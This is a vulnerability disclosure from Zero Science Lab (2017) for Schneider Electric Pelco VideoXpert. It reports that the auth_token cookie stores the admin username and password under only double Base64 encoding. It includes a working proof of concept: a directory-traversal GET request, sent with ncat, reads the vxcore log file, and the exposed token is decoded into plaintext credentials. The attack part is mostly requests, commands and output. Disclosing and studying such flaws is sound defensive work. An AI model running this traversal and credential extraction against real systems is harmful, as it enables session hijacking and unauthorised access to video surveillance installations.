Schneider Electric Pelco VideoXpert Missing Encryption

`  
Schneider Electric Pelco VideoXpert Missing Encryption Of Sensitive Information  
  
  
Vendor: Schneider Electric SE  
Product web page: https://www.pelco.com  
Affected version: 2.0.41  
1.14.7  
1.12.105  
  
Summary: VideoXpert is a video management solution designed for  
scalability, fitting the needs surveillance operations of any size.  
VideoXpert Ultimate can also aggregate other VideoXpert systems,  
tying multiple video management systems into a single interface.  
  
Desc: The software transmits sensitive data using double Base64 encoding  
for the Cookie 'auth_token' in a communication channel that can be  
sniffed by unauthorized actors or arbitrarely be read from the vxcore  
log file directly using directory traversal attack resulting in  
authentication bypass / session hijacking.  
Ref: ZSL-2017-5419  
  
Tested on: Microsoft Windows 7 Professional SP1 (EN)  
Jetty(9.2.6.v20141205)  
MongoDB/3.2.10  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2017-5420  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5420.php  
  
  
05.04.2017  
  
--  
  
  
After a user logs in, the web server creates a Cookie: auth_token which has the following value:  
  
ZXlKMWMyVnlibUZ0WlNJNkltRmtiV2x1SWl3aWNHRnpjM2R2Y21RaU9pSmhaRzFwYmpFeU15SXNJbVJ2YldGcGJpSTZJa3hQUTBGTUlpd2laWGh3YVhKbGN5STZNVFE1TVRVMU5qYzVOekUxT0N3aVlXZGxiblFpT2lJME1HWTJORE00TmkxbVptTXdMVFExTkRFdE9XTmpaQzFoTlRJeU0yUmlNbVpqTURraUxDSmpiR2xsYm5SSmNDSTZJakV5Tnk0d0xqQXVNU0o5  
  
Base64 decoding that becomes:  
  
eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbjEyMyIsImRvbWFpbiI6IkxPQ0FMIiwiZXhwaXJlcyI6MTQ5MTU1Njc5NzE1OCwiYWdlbnQiOiI0MGY2NDM4Ni1mZmMwLTQ1NDEtOWNjZC1hNTIyM2RiMmZjMDkiLCJjbGllbnRJcCI6IjEyNy4wLjAuMSJ9  
  
Again decoding, gives us result:  
  
{"username":"admin","password":"admin123","domain":"LOCAL","expires":1491556797158,"agent":"40f64386-ffc0-4541-9ccd-a5223db2fc09","clientIp":"127.0.0.1"}  
  
  
PoC remote session takeover with directory traversal:  
-----------------------------------------------------  
  
bash-4.4$ cat pelco_live.txt  
GET /portal//..\\\..\\\..\\\..\\\ProgramData\Pelco\Core\core\vxcore.log HTTP/1.1  
Host: 127.0.0.1  
Connection: close  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36  
Content-Type: text/plain; charset=utf-8  
Accept: */*  
Referer: https://127.0.0.1/portal/  
Accept-Language: en-US,en;q=0.8,mk;q=0.6  
DNT: 1  
  
bash-4.4$ ncat -v -n 127.0.0.1 80 < pelco_live.txt > vxcore_log.txt  
bash-4.4$ cat vxcore_log.txt  
--snip--  
INFO [2017-04-06 11:20:09.999] [HealthCheckMonitorPollingThread-0] org.mongodb.driver.connection: Closed connection [connectionId{localValue:400, serverValue:473}] to mongod0-rs1-dfde27ce-6a4f-413a-a7c2-6df855d462df:31001 because the pool has been closed.   
INFO [2017-04-06 11:20:12.559] [dw-5099 - GET /portal/System.html?auth_token=ZXlKMWMyVnlibUZ0WlNJNkltRmtiV2x1SWl3aWNHRnpjM2R2Y21RaU9pSmhaRzFwYmpFeU15SXNJbVJ2YldGcGJpSTZJa3hQUTBGTUlpd2laWGh3YVhKbGN5STZNVFE1TVRVMU5qYzVOekUxT0N3aVlXZGxiblFpT2lJME1HWTJORE00TmkxbVptTXdMVFExTkRFdE9XTmpaQzFoTlRJeU0yUmlNbVpqTURraUxDSmpiR2xsYm5SSmNDSTZJakV5Tnk0d0xqQXVNU0o5] com.pelco.vms.webService.application.servlets.StaticContentServlet: Returning static content for URI /portal/System.html   
INFO [2017-04-06 11:20:12.567] [dw-5055 - GET /portal/Lilac.css] com.pelco.vms.webService.application.servlets.StaticContentServlet: Returning static content for URI /portal/Lilac.css   
INFO [2017-04-06 11:20:12.568] [dw-5098 - GET /portal/lilac/lilac.nocache.js] com.pelco.vms.webService.application.servlets.StaticContentServlet: Returning static content for URI /portal/lilac/lilac.nocache.js   
--snip--  
  
bash-4.4$ cat pelco_auth_token.txt  
ZXlKMWMyVnlibUZ0WlNJNkltRmtiV2x1SWl3aWNHRnpjM2R2Y21RaU9pSmhaRzFwYmpFeU15SXNJbVJ2YldGcGJpSTZJa3hQUTBGTUlpd2laWGh3YVhKbGN5STZNVFE1TVRVMU5qYzVOekUxT0N3aVlXZGxiblFpT2lJME1HWTJORE00TmkxbVptTXdMVFExTkRFdE9XTmpaQzFoTlRJeU0yUmlNbVpqTURraUxDSmpiR2xsYm5SSmNDSTZJakV5Tnk0d0xqQXVNU0o5  
bash-4.4$ base64 -D pelco_auth_token.txt |base64 -D -  
{"username":"admin","password":"admin123","domain":"LOCAL","expires":1491556797158,"agent":"40f64386-ffc0-4541-9ccd-a5223db2fc09","clientIp":"127.0.0.1"}  
bash-4.4$   
  
`